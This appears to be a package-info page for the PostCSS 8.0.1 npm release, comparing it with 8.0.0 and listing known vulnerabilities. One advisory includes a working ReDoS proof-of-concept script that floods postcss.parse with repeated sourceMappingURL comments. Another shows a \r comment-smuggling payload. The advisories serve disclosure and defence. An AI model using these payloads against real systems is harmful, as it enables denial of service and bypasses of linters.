PostCSS 8.0.1 is a minor patch release of the popular JavaScript tool for transforming CSS with plugins, building upon the foundation laid by version 8.0.0. Both versions share the core functionality, offering developers a powerful and extensible platform for modern CSS workflows. They include dependencies like nanoid for generating unique IDs, colorette for colorful console output, source-map for debugging transformations, and line-column for precise error reporting. Both versions are released under the MIT license, encouraging open-source contribution and usage. Andrey Sitnik remains the author, ensuring continuity in the project's direction, and funding is available through Tidelift to support ongoing development.
The key difference lies in the release date and potentially subtle bug fixes or performance improvements included in the patch. Version 8.0.1 was released shortly after 8.0.0, suggesting that the changes were important enough to warrant a quick update. While the dependency list remains identical, the unpackedSize of 8.0.1 is slightly larger, hinting at internal adjustments. For developers, this means that while migrating from 8.0.0 to 8.0.1 should be seamless, adopting the newer version is advisable to benefit from the latest refinements and ensure optimal stability. The small change in unpacked size may indicate slight modifications to code or assets within the package. Always consult the official changelog for detailed explanations of patch releases.
All the vulnerabilities related to the version 8.0.1 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.